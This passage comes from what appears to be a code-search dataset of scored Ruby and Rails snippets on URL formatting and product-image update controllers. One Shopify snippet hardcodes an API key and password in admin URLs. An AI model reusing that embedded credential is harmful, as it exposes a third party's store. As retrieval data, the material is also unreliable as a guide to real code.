'-').gsub(/[^\\w-]/, '').downcase\n end", "title": "" }, { "docid": "67941ffa7fdf2527e4876c48d7548212", "score": "0.5747", "text": "def create_permalink\n self.permalink = self.full_name_no_spaces.gsub(/\\s/, \"-\").gsub(/_/, '-').gsub(/[^\\w-]/, '').downcase\n end", "title": "" }, { "docid": "f7adcc4ea50e337e20c53f96e236dfe0", "score": "0.5746881", "text": "def url_to_link args\n query_words = extract_query_words(args)\n url = args[:document][args[:field]]\n\turl = fix_url_page_nmbr(url, args)\n for item in query_words\n url = url + \"&term=\" + item\n end\n return raw('<a target=\"_blank\" href=\"' + url + '\">' + url + '</a>')\n end", "title": "" }, { "docid": "021c9282cbac7d90373ff06233fdba55", "score": "0.5744622", "text": "def fix_passed_params\n single_slash_match = params[:subject].match(/^http[s]*\\:\\/(?!\\/)/)\n\n if single_slash_match.present?\n params[:subject] = \n params[:subject][0..single_slash_match[0].length-1] + '/' +\n params[:subject][single_slash_match[0].length..params[:subject].length]\n end\n end", "title": "" }, { "docid": "4fadcf8477b84d109c46f807e8de21bc", "score": "0.5741224", "text": "def clean_link(input)\n input.tr('^a-zA-Z0-9_-', '-')\n end", "title": "" }, { "docid": "c7442b91525d40165b0dcf1bdd0f02be", "score": "0.57401484", "text": "def format_url(url)\n quantized_url = url.gsub(ID_REGEXP, ID_PLACEHOLDER)\n quantized_url.gsub(INDEX_REGEXP, INDEX_PLACEHOLDER)\n end", "title": "" }, { "docid": "c7442b91525d40165b0dcf1bdd0f02be", "score": "0.57401484", "text": "def format_url(url)\n quantized_url = url.gsub(ID_REGEXP, ID_PLACEHOLDER)\n quantized_url.gsub(INDEX_REGEXP, INDEX_PLACEHOLDER)\n end", "title": "" }, { "docid": "601ea37319b3866978faf4f25c8f889a", "score": "0.57391727", "text": "def before_save\n self.permalink = name.downcase.gsub(/\\s+/, \"-\").gsub(/[^a-zA-Z0-9_-]+/, \"\")\n end", "title": "" }, { "docid": "6b21cb2f390655f2c61c9795096cc084", "score": "0.57369065", "text": "def inputurl_column(record)\n \"<a target='inputurl' href='#{record.inputurl}'>#{record.inputurl}</a>\"\n end", "title": "" }, { "docid": "f75580ab1d380153404d66492994325b", "score": "0.5733571", "text": "def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\n end\n end\n end", "title": "" }, { "docid": "606102c228ad423fe6c7881945983755", "score": "0.57315284", "text": "def url_full\n @url_middle = ingredients.join(\"+\") \n full = @url_begin+@url_middle+@url_end\n full\n end", "title": "" }, { "docid": "5ee306182a5e9c6ef543399f1fb9d2f9", "score": "0.5730195", "text": "def tweak_href_of_link link,dir_name\n new_link = link\n\n if link.downcase.include? \"http\"\n # do not tweak links that are external URLs\n return link\n end\n\n # Treat separately the following cases:\n # href=\"...\" (with quote)\n # href=... (without quote)\n if new_link.downcase.gsub(\" \",\"\").include? \"href=\\\"\"\n new_link = new_link.gsub(/HREF=\"/i,'href=\"./userfile.id?file_name=@dirname')\n else\n new_link = new_link.gsub(/HREF=/i,'href=./userfile.id?file_name=@dirname')\n end\n new_link.gsub!(\"userfile.id\",\"#{self.id}\")\n new_link.gsub!(\"@dirname\",\"#{dir_name}\")\n new_link.gsub!('/\"',\"/\")\n\n # Append #file_content to the URL\n new_link = append_string_to_link(new_link,\"file_name\",\"#file_content\")\n\n new_link.gsub!(/file_name=(.*?)gica\\//,\"file_name=\")\n \n return new_link\n end", "title": "" }, { "docid": "b74d9d93b9b5a1b4ebe70ed88258cd58", "score": "0.57301265", "text": "def add_http_if_needed\n if !full_url.match(/^((http|https):\\/\\/)/)\n \"http://\" + full_url\n else\n full_url\n end\n end", "title": "" }, { "docid": "0b35a02789848da9fdd4720dda49e7eb", "score": "0.57298696", "text": "def clean_href\n gsub(/(\\?|&)ref.+/, '').gsub('/country/', '').gsub('/language/', '')\n end", "title": "" }, { "docid": "c17fd549c308383deee7e2791dd9d829", "score": "0.5723338", "text": "def generate_anchor(text)\n text.gsub(/\\W+/, '-').gsub(/^-+|-+$/, '')\n end", "title": "" }, { "docid": "f7a0bbe32bda825971aa4650492496de", "score": "0.5702268", "text": "def url_prefix; end", "title": "" }, { "docid": "154921150c3a9999128d34b7192c02ef", "score": "0.56829494", "text": "def inline_auto_link(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n %(#{leading}<a href=\"#{proto==\"www.\"?\"http://www.\":proto}#{url}\">#{proto + url}</a>#{post})\n end\n end\n end", "title": "" }, { "docid": "6d29aff2e22ccd1d512704734a37f26d", "score": "0.56815517", "text": "def href=(_arg0); end", "title": "" }, { "docid": "8c1981a40d3d0d2d43e3da8ca7206d12", "score": "0.56814975", "text": "def get_formatted_url\n \t# remove 5 characters after each &\n \tlink.gsub(\"&#x26;\",\"&\")\n end", "title": "" }, { "docid": "c8e05be1732f7bcfdf2c0226b07906ca", "score": "0.5674307", "text": "def prefix_url(rest_of_url='')\n prefix = Ginatra.config.prefix.to_s\n\n if prefix.length > 0 && prefix[-1].chr == '/'\n prefix.chop!\n end\n\n \"#{prefix}/#{rest_of_url}\"\n end", "title": "" }, { "docid": "c10addf2781e3572e295f50e36549bf6", "score": "0.5663568", "text": "def http_prefix\n self.url = \"http://\" + self.url unless self.url =~ /^http:\\/\\//\n end", "title": "" }, { "docid": "95e8705d83f230535285220332b335e6", "score": "0.5659787", "text": "def self_link_uri\n if @self_link.nil?\n [@base_url, '{{name}}'].join('/')\n else\n # If the terms in this are not snake-cased, this will require\n # an override in Terraform.\n @self_link\n end\n end", "title": "" }, { "docid": "1bc6df3f9755767d5430bcf64a979442", "score": "0.5655148", "text": "def url text\n text.gsub(/(http:\\/\\/)?([a-zA-Z0-9._-]+?\\.(net|com|org|edu)(\\/[^ )]+)?)/,'[http:\\/\\/\\2 \\2]')\nend", "title": "" }, { "docid": "1bcf16a16865994d47b9950cc6c0ed02", "score": "0.5650423", "text": "def path_for_url_alias(node)\n if title.present?\n title\n elsif url.starts_with?('https://')\n url.gsub(/https:\\/\\//, '')\n else\n url.gsub(/http:\\/\\//, '')\n end\n end", "title": "" }, { "docid": "c3628ed211d1dc94842c03e24559d485", "score": "0.56484306", "text": "def convert_url_name(name)\n url_name = convert_to_urlname(name)\n if url_name.length < 3\n ('-' * (3 - url_name.length)) + url_name\n else\n url_name\n end\n end", "title": "" }, { "docid": "e7cc13d994562b89747c9c152be3e4f8", "score": "0.5645462", "text": "def truncate_url\n self.url = self.url.truncate(255, separator: nil, omission: '[...]') if self.url\n end", "title": "" }, { "docid": "db773c9100ca02599bab831bb2f9a8f6", "score": "0.56443626", "text": "def blanky_link_ref!(input)\n input.gsub!(REGEX_LINK_REF) do\n data = $LAST_MATCH_INFO\n b(:bot, data: data) + m(:mark, data: data) + b(:colon, data: data) + b(:href, data: data)\n end\n end", "title": "" }, { "docid": "a51e26f569267250b98d5b5e2cc7c132", "score": "0.5642759", "text": "def nice_url\n\n\t\t# I want to take the url, remove http:// and remove www. \n\t\t# gsub means global subsitution - replace all\n\n\t\turl.gsub(\"http://\", \"\").gsub(\"www.\", \"\")\n\n\tend", "title": "" }, { "docid": "e5ea63b8ffb0f72d84a1e20a7f08930a", "score": "0.5638605", "text": "def shorten(url)\n if url =~ /^https?:\\/\\/(?:www\\.)?github\\.com\\/([^\\/]+\\/[^\\/]+)/i\n $1\n elsif url =~ /^https?:\\/\\/(?:www\\.)?(bitbucket|gitlab)\\.(?:com|org)\\/([^\\/]+\\/[^\\/]+)/i\n \"#{$1.downcase()}:#{$2}\"\n else\n url.replace(/^https?:\\/\\/(?:www\\.)?/i, \"\")\n end\n end", "title": "" }, { "docid": "af22197530b25eaa2a75cbbf1e494747", "score": "0.5638517", "text": "def set_url_safe_name\n self.url_safe_name = self.name.downcase.gsub(/[^a-zA-Z0-9]+/, '-').chomp('-')\n end", "title": "" }, { "docid": "af22197530b25eaa2a75cbbf1e494747", "score": "0.5638517", "text": "def set_url_safe_name\n self.url_safe_name = self.name.downcase.gsub(/[^a-zA-Z0-9]+/, '-').chomp('-')\n end", "title": "" }, { "docid": "9d339cdae011a2d45f0ff647f009a43c", "score": "0.56328195", "text": "def do_before_save\n if self.link.size < 5\n self.link = self.name.strip.downcase.gsub(' ','-')\n end\nend", "title": "" }, { "docid": "51a7b48b2b439208af410e9f41fa20dd", "score": "0.5630657", "text": "def link_urls(my_str)\n # auto_link is part of rinku which gets added to ActionController\n out = ActionController::Base.helpers.auto_link(my_str, html: { target: '_blank' }) do |text|\n ActionController::Base.helpers.truncate(text, length: 60)\n # text.ellipsisize(80)\n end\n # We need to add the title attribute with the full URL so people can see the full url with hover on most browser if they like\n # unfortunately, rinku doesn't allow a dynamic title attribute to be easily added that is based on the href value, so Nokogiri\n doc = Nokogiri::HTML::DocumentFragment.parse(out)\n doc.css('a').each do |link|\n link['title'] = link.attributes['href'].value\n end\n doc.to_s\n end", "title": "" }, { "docid": "90f4a5a23bbfa3c4c7d425922f672b29", "score": "0.56301636", "text": "def nice_url\n\t\turl.gsub(\"http://\",\"\").gsub(\"www.\",\"\")\n\tend", "title": "" }, { "docid": "6ba617b072fe5f022171d0661860d43c", "score": "0.5628328", "text": "def nice_url\n \t#lets remove http and www\n url.gsub(\"http://\", \"\").gsub(\"wwww\",\"\")\n end", "title": "" }, { "docid": "17de6e467d071c03f09c3e2929c6a2ff", "score": "0.56231403", "text": "def prepend_urls \n unless check_url(self.url)\n self.url = \"http://#{self.url}\"\n end\n end", "title": "" }, { "docid": "cae85d5978b2c913b6ce1dd298b45b7a", "score": "0.5619275", "text": "def to_absurl(input)\n\n # url + baseurl << input\n input = \"#{get_url}#{get_baseurl}#{input}\"\n end", "title": "" }, { "docid": "57fd7a8cc7b0009d78fe49507564da2c", "score": "0.56096035", "text": "def anchor(s)\n s.sub!(/^\\d+$/, \"\")\n p = h(escape(@page))\n p.gsub!(/%/, \"%%\")\n %Q[#{@conf.cgi_name}?#{p}#{s}]\nend", "title": "" }, { "docid": "617a2c2b3093823fdd3563d69b473b6c", "score": "0.5607777", "text": "def do_before_save\n if self.link.blank?\n self.link = self.name.strip.downcase.gsub(' ','-')\n end\nend", "title": "" }, { "docid": "414f4d847e0d951bd698dcb97c01c696", "score": "0.5607043", "text": "def clean_link(url)\n link = url.url.gsub(/[,'\"&?].*/, '')\n link.gsub!(/.*:\\/+/,'')\n link.gsub!(/ /,'')\n link = link[0..TERMWIDTH-CODEWIDTH] # need space for term. color codes\n end", "title": "" }, { "docid": "b1578dee6857f291dddf1e53e012a04f", "score": "0.559775", "text": "def append_http\n\t\t\tself.url = \"http://#{self.url}\" unless self.url[/\\Ahttps?:\\/\\//] \n\t\tend", "title": "" }, { "docid": "b5639951e848192379197c41696f0838", "score": "0.55951834", "text": "def clear_url(base, link)\n return link if link.match 'http'\n link = '/' + link unless link[0,1] == '/'\n base + link\nend", "title": "" }, { "docid": "ad588d3889b5faaf411dcf5da269d8ed", "score": "0.55949676", "text": "def nice_url\n\n\t\t# i want to take url\n\t\t# and i want to remove http://\n\t\t# and i want to remove www.\n\t\t# gsub is a global substitution \n\t\turl.gsub(\"http://\",\"\").gsub(\"www.\",\"\")\n\tend", "title": "" }, { "docid": "5a2c95242af19169c1af369bb57cf81c", "score": "0.5592937", "text": "def add_http_to_url\n if !self.url.blank?\n unless self.url[/\\Ahttp:\\/\\//] || self.url[/\\Ahttps:\\/\\//]\n self.url = \"http://#{self.url}\"\n end\n end\n end", "title": "" }, { "docid": "e47a3ed05ce836e8459e1a42eb72c1c1", "score": "0.55908006", "text": "def auto_link(text)\n super(text, OPTIONS)\n end", "title": "" }, { "docid": "0877ba337a8f006204a89fa7439e8a1a", "score": "0.5587979", "text": "def url_text(field)\n subfield_values_y = collect_subfield_values_by_code(field, 'y')\n [subfield_values_y.join(' ')].reject(&:empty?)\n .reject { |v| v.match(/get\\s*it@duke/i) }\n .join(' ')\n end", "title": "" }, { "docid": "f3a0cac6dfcb2a9d6173127b6b5c799e", "score": "0.558582", "text": "def build_url(partial)\n\n return PROTO + DOMAIN + partial\n end", "title": "" }, { "docid": "8b191ce2ff6ad76531946696c1316d44", "score": "0.5577821", "text": "def full_urls(input)\n expand_urls(strip_baseurls(input), site_url)\n end", "title": "" }, { "docid": "023a540c2bb5d8fcdc26a9e605305043", "score": "0.5577681", "text": "def link_to( url )\n [@base, url].join(\"\")\n end", "title": "" }, { "docid": "086c67c25a042230eb549e97b6d2e73f", "score": "0.55727595", "text": "def nice_url\n\t\turl.gsub(\"http://\", \"\").gsub(\"www.\", \"\")\n\tend", "title": "" }, { "docid": "488a96a0f3afc1ede2f962835270f76b", "score": "0.55723476", "text": "def format_link link\n puts \"reformatting: \" + link\n return URI::join( $root_url, link )\nend", "title": "" }, { "docid": "ffff916db52b61c3781485872f4557bf", "score": "0.55623144", "text": "def reformat_uris(text)\n text.gsub(/https?:\\/\\//, \"link to \")\nend", "title": "" } ]
17e60034156f74954b724e4a21b21a3e
PUT /product_images/1 PUT /product_images/1.json
[ { "docid": "a773b3387ecda87642d6660f0ccabe99", "score": "0.63948053", "text": "def update\n\t\t@product = Product.find params[:product_id]\n @product_image = ProductImage.find(params[:id])\n\n respond_to do |format|\n if @product_image.update_attributes(params[:product_image])\n format.html { redirect_to edit_supplier_account_product_path(@supplier, @product), :notice => \"#{t('activerecord.successful.messages.updated', :model => @product_image.class.model_name.human)}\" }\n format.json { head :ok }\n else\n \t\t@supplier_account = @supplier.supplier_account\n\t\t @product = Product.find params[:product_id]\n @product_image = ProductImage.find(params[:id])\n format.html { render action: \"edit\" }\n format.json { render json: @product_image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "deb408d68e59a861228d17fb3ede4073", "score": "0.7465553", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n if params[:images]\n params[:images].each { |image|\n @product.images.create(photo: image)\n }\n end\n format.html { redirect_to action: 'list', notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1672475d7ba8467055df2694ed66ed78", "score": "0.7416601", "text": "def update\n render json: Image.update(params[\"id\"], params[\"image\"])\n end", "title": "" }, { "docid": "e4d4bc5b359abd83b5e5e2c909d5112a", "score": "0.73491913", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n # Get photos directly from the params and save them to the database one by one\n if params[:product][:images]\n params[:product][:images].each { |image|\n Photo.create(product: @product, image: image)\n }\n end\n\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ac57a782235a7062ebb2b4cd94b5f54", "score": "0.73002195", "text": "def update\n @image = Image.find(params[:id])\n\n @image.url = params[:url] || @image.url\n @image.product_id = params[:product_id] || @image.product_id\n \n if @image.save\n render \"show.json.jb\"\n else\n render json: { errors: @image.errors.full_messages }, status: 422\n end\n\n end", "title": "" }, { "docid": "bdcc1ad21a2d02594fc3b3548488fc4f", "score": "0.7258368", "text": "def update\n respond_to do |format|\n if @product.update(product_params.except(:images))\n new_images = product_params[:images]\n images = @product.images # copy the old images \n images += new_images if !new_images.nil? # concat old images with new ones\n @product.images = images\n @product.save\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b33387a53b9c1b54587d758abe78a87", "score": "0.72395986", "text": "def update\n respond_to do |format|\n if @product_item.update(product_item_params)\n\t\t\t\tif params[:images]\n\t\t\t\t\tparams[:images].each { |image|\n\t\t\t\t\t\t@product_item.pictures.create(image: image)\n\t\t\t\t\t}\n\t\t\t\tend\n format.html { redirect_to product_items_path, notice: 'Product item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92e6c5bf8cb61a2a1f04458a8b301363", "score": "0.71961856", "text": "def update\n @product = Product.find_by_id(params[:id])\n respond_to do |format|\n if @product.update_attributes(params[:product])\n unless params[:image].blank?\n params[:image].each do |i|\n @product.product_images << ProductImage.create(:image=>i)\n end\n end\n flash[:notice] = 'Admin::Product was successfully updated.'\n format.html { redirect_to(:action => \"edit\" ) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0c37bb3d4eb3c289af0fe8176109cf4", "score": "0.7158308", "text": "def update\n @product = Product.find(params[:id])\n @images = Image.where(:product_token => params[:product][:token])\n respond_to do |format|\n if @product.update_attributes(params[:product])\n @images.each do |image|\n image.update_attributes(imageable_id: @product.id, imageable_type: @product.class.name)\n end\n format.html { redirect_to webmaster_product_path(@product), notice: 'Product was successfully updated.' }\n #format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n #format.json { render json: @webmaster_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8cef3a996ee5942d102e93b3d09d42b", "score": "0.7121276", "text": "def update_image\n image = Image.find(params[:id])\n image.update_attributes(params[:image])\n render :json => image.attributes.merge(additional_image_attributes(image))\n end", "title": "" }, { "docid": "a03722235412bd5d1a0768425e626f4b", "score": "0.7050305", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n # to handle multiple images upload on update when user add more picture\n if params[:product_photos]\n params[:product_photos]['photo'].each do |a|\n @product_photo = @product.product_photos.create!(:photo => a)\n end\n end\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f5961459f93f680a2e590cfac70def1", "score": "0.7042164", "text": "def update\n @images_product = ImagesProduct.find(params[:id])\n\n respond_to do |format|\n if @images_product.update_attributes(params[:images_product])\n format.html { redirect_to @images_product, notice: 'Images product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @images_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f0161f4e69001b6684e4253c970dc0e", "score": "0.69968426", "text": "def update\n\t\tuser = current_user.user_info\n\t\tproduct = user.products.find(params[:id]) if !user.admin\n\t\tif user.admin\n\t\t\tproduct = Product.find(params[:id]) \n\t\t\tparams[:product].delete :user_id\n\t\tend\n\t\t(5-product.photos.count).times { product.photos.build }\n\n\t\tremove_empty_image params[:product][:photos_attributes]\n\n\t\trespond_to do |format|\n\t\t\tif product.update_attributes(params[:product])\n\t\t\t\tproduct.photos.delete_if { |x| x.photo_file_name == nil }\n\t\t\t\tproduct.save\n\n\t\t\t\tif product.shopify_id == nil && product.complete_product? == true\n\t\t\t\t\tputs \"create Shopify Product \" + product.id.to_s\n\t\t\t\t\tShopify.create product\n\t\t\t\telsif product.shopify_id != nil && Shopify.modify(product)\n\t\t\t\t\tputs \"modified Shopify Product \" + product.id.to_s\n\t\t\t\t\tformat.html { render action: \"index\" }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render action: \"index\" }\n\t\t\t\t\tformat.json { render json: product.errors, status: :unprocessable_entity }\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "17e191219d45785aec3fc1f8e67b569d", "score": "0.69845027", "text": "def update\n if params[:image]\n @promotion.image.attach(params[:image])\n json_response @promotion\n else\n @promotion.update(product_params)\n json_response @promotion\n end\n end", "title": "" }, { "docid": "f595ce6f2d2a909497dd3c06c4c6596f", "score": "0.6947949", "text": "def update\n respond_to do |format|\n if @product_image.update(product_image_params)\n format.html { redirect_to @product_image, notice: 'Product image was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_image }\n else\n format.html { render :edit }\n format.json { render json: @product_image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c916de49ff1e16f403cf47b9f0c3ed1", "score": "0.6933848", "text": "def update\n respond_to do |format|\n if params[:images]\n params[:images].each { |image|\n @store_product.pictures.create(image: image)\n }\n end\n if @store_product.update(store_product_params)\n @store_product.check_product_duplicate\n format.html { redirect_to @store_product, notice: 'Store product was successfully updated.' }\n format.json { render :show, status: :ok, location: @store_product }\n else\n format.html { redirect_to :back, alert: 'Store Product is already taken.' }\n format.json { render json: @store_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31916e604f5963a7ecfb8b134ada14ed", "score": "0.6923341", "text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n\n unless @product.images.blank?\n img = @product.images.first\n img.is_primary = 1\n img.save\n end\n format.html { redirect_to [:admin, @product], notice: t('.notice') }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6314783450f7aa024b155226918e5e32", "score": "0.68815106", "text": "def update\n @user = User.find(params[:user_id])\n @product.user_id = current_user.id if current_user \n \n respond_to do |format|\n if @product.update(product_params)\n \n\n if params[:photos]\n #===== The magic is here ;)\n params[:photos].each { |photo|\n @product.images.create(photo: photo)}\n end\n format.html { redirect_to :back}\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1c63b006d1dd560fa2556edeee02a6d", "score": "0.6849916", "text": "def update\n product_ids = params[:product][:product_ids]&.map {|a| eval(a)} || []\n respond_to do |format|\n @product.attributes = product_params\n @product.product_ids = product_ids\n if @product.quantity_changed? \n ProductService.new.tracking_product_quantity(@product.quantity, @product)\n end\n if @product.suggest_price_changed? \n random = rand(2.25 .. 2.75)\n @product.variants.each do |variant|\n variant.price = @product.suggest_price\n variant.compare_at_price = (variant.price * random/ 5).round(0) * 5\n variant.save\n end\n end\n if @product.save\n if params[:product][:images]\n params[:product][:images].each do |img|\n #params[:images].each do |key, value|\n @product.images.create(file: img)\n end\n end\n format.html { redirect_to edit_product_path(@product), notice: 'Product was successfully updated.' }\n # format.json { render :show, status: :ok, location: @product }\n format.json { render json: @product, status: :created }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0f967c7e836b7aaf73a856303500d0c", "score": "0.68473387", "text": "def update\n @image = set_image\n if @image.update(image_params)\n #format.html { redirect_to @image, notice: \"Image was successfully updated.\" }\n render json:@image, status: :ok\n else\n #format.html { render :edit, status: :unprocessable_entity }\n render json: { error: @images.errors.messages }\n \n end\n end", "title": "" }, { "docid": "72b8c60b3081d9b23791df957c7d5433", "score": "0.6818323", "text": "def upload\n image_file = ImageFile.new(params)\n @image = @product.images.build({ extension: image_file.extension })\n\n unless @image.save\n render json: @image.errors, status: :unprocessable_entity; return\n end\n\n image_file.name = @image._id\n image_processor = ProductImageProcessor.new(collection_id, product_id, image_file)\n\n if image_processor.save_image\n render json: @product, status: :ok#, location: @collection\n else\n render json: image_processor.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d4ec610469b90b5d92b47d97796c56df", "score": "0.68112844", "text": "def create\n @product = Product.find(params[:product_id])\n @image = @product.images.create(image_params)\n\n shop_url = \"https://23a2ddfe95ba18463541e8f43fe93cc4:ee0700baa2ac3f34f353fdc58f70e4e7@nishanthstore.myshopify.com/admin\"\n ShopifyAPI::Base.site = shop_url\n\n shop = ShopifyAPI::Shop.current\n\n# Get a specific product\n product = ShopifyAPI::Product.find(6523018883)\n\n# Create a new product\n new_product = ShopifyAPI::Product.new\n new_product.title = \"Burton Custom Freestlye 151\"\n new_product.product_type = \"Snowboard\"\n new_product.vendor = \"Burton\"\n new_product.save\n\n# Update a product\n product.handle = \"burton-snowboard\"\n product.save\n\n print \"$$$$$$$$$$$$$$$$\"\n\n print Base64.encode64(File.read(@image.attachment.path))\n jdata ={'product'=>{'title'=> @product.title,'body_html'=> @product.body_html,'vendor'=> @product.vendor,'product_type'=> @product.product_type,'published'=> false,'images'=> [{'attachment'=> Base64.encode64(File.read(@image.attachment.path))}]}}.to_json\n print jdata\n res = RestClient.post('https://23a2ddfe95ba18463541e8f43fe93cc4:ee0700baa2ac3f34f353fdc58f70e4e7@nishanthstore.myshopify.com/admin/products.json',jdata, :content_type => 'application/json',:multipart => true)\n h = JSON.parse(res)\n print '--------'\n respond_to do |format|\n if @image.save\n format.html { redirect_to @product, notice: 'Image was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d80644493b09fa70c6e65f3ea89a8b0", "score": "0.6802686", "text": "def update\n # store = Store.find(params[:store_id])\n # @product = store.products.create(product_params)\n # @image = @product.images.create!(image_params)\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to([@product.store, @product], notice: 'Product was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a401d4c9a0ee41c2dc078f594245d3a8", "score": "0.67715466", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.json { render action: 'show', status: :ok, location: @image }\n else\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73e0267f9839b570721fefab056a9b45", "score": "0.6767082", "text": "def update\n respond_to do |format|\n # if @image is not nil, product is updated with @image\n p product_params\n if @product.update(product_params) and ( @image==nil or @product.update( image_uri: @image ) )\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product}\n #format.json { render json: @product, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2562e7a9c5af935afcfb9479c76a6d47", "score": "0.67615235", "text": "def update\n #file = params[:product][:image]\n # @product.set_image(file)\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: '貴様の情報は、無事に更新された。' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92f9767a5aa2055d01ae5041de16a3a7", "score": "0.67554575", "text": "def update\n #authorize @product use this if using cancan\n respond_to do |format|\n# unless params[:images].nil?\n# params[:images].each do |image|\n# @product.product_images.create(:image => image)\n# @product.product_images << ProductImage.create(:image => image)\n# @product.product_images.build\n# end\n# end\n if @product.update(product_params)\n if params[:images]\n params[:images].each do |image|\n @product.product_images.create(:image => image)\n end\n end\n @product.modality_name = @product.modality.name\n @product.modtype_name = @product.modtype.name\n @product.manufacturer_name = @product.manufacturer.name\n @product.overallcategory_name = @product.overallcategory.name\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a45798ff6c692bca2e96db34acfcb98", "score": "0.6745613", "text": "def images\n @product = Product.find(params[:id])\n end", "title": "" }, { "docid": "49498dab3de671ee3da1a041f1e5341b", "score": "0.6743339", "text": "def update\n @image = Image.find(params[:id])\n @image.update_attributes(params[:image])\n respond_with(@image, :status => :updated)\n end", "title": "" }, { "docid": "309843608cd5b5fecd2ae9de0fb15803", "score": "0.67316115", "text": "def update\n respond_to do |format|\n if @image.update_attributes(image_params)\n format.html do\n redirect_to [@location,@image], notice: 'Image was successfully updated.'\n end\n # format.json { head :no_content }\n format.json do\n render json: { files: [@image.to_jq_upload] },\n status: :created, location: @image\n end\n else\n format.html { render action: 'edit' }\n format.json do\n render json: @image.errors,\n status: :unprocessable_entity\n end\n end\n end\n end", "title": "" }, { "docid": "9ae0eba8ec72bc5fcdca3def045964b2", "score": "0.67147374", "text": "def update\n if @item_image.update(item_image_params)\n render :show, status: :ok, location: @item_image\n else\n render json: @item_image.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "50f36520858abe490f7e08011fc316a6", "score": "0.66751796", "text": "def update\n @product_image = Admin::ProductImage.find(params[:id])\n\n respond_to do |format|\n if @product_image.update_attributes(params[:product_image])\n flash[:notice] = 'Admin::ProductImage was successfully updated.'\n format.html { redirect_to(@product_image) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_image.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65cdcb730fb3107d64327c96fbd3ced2", "score": "0.6668779", "text": "def update\n #@images = @product.images.build(image_params)\n if @product.characteristic.nil?\n @characteristic = @product.build_characteristic\n else\n @characteristic = @product.characteristic\n end\n respond_to do |format|\n if @product.update(product_params)\n @characteristic.update(characteristic_params)\n 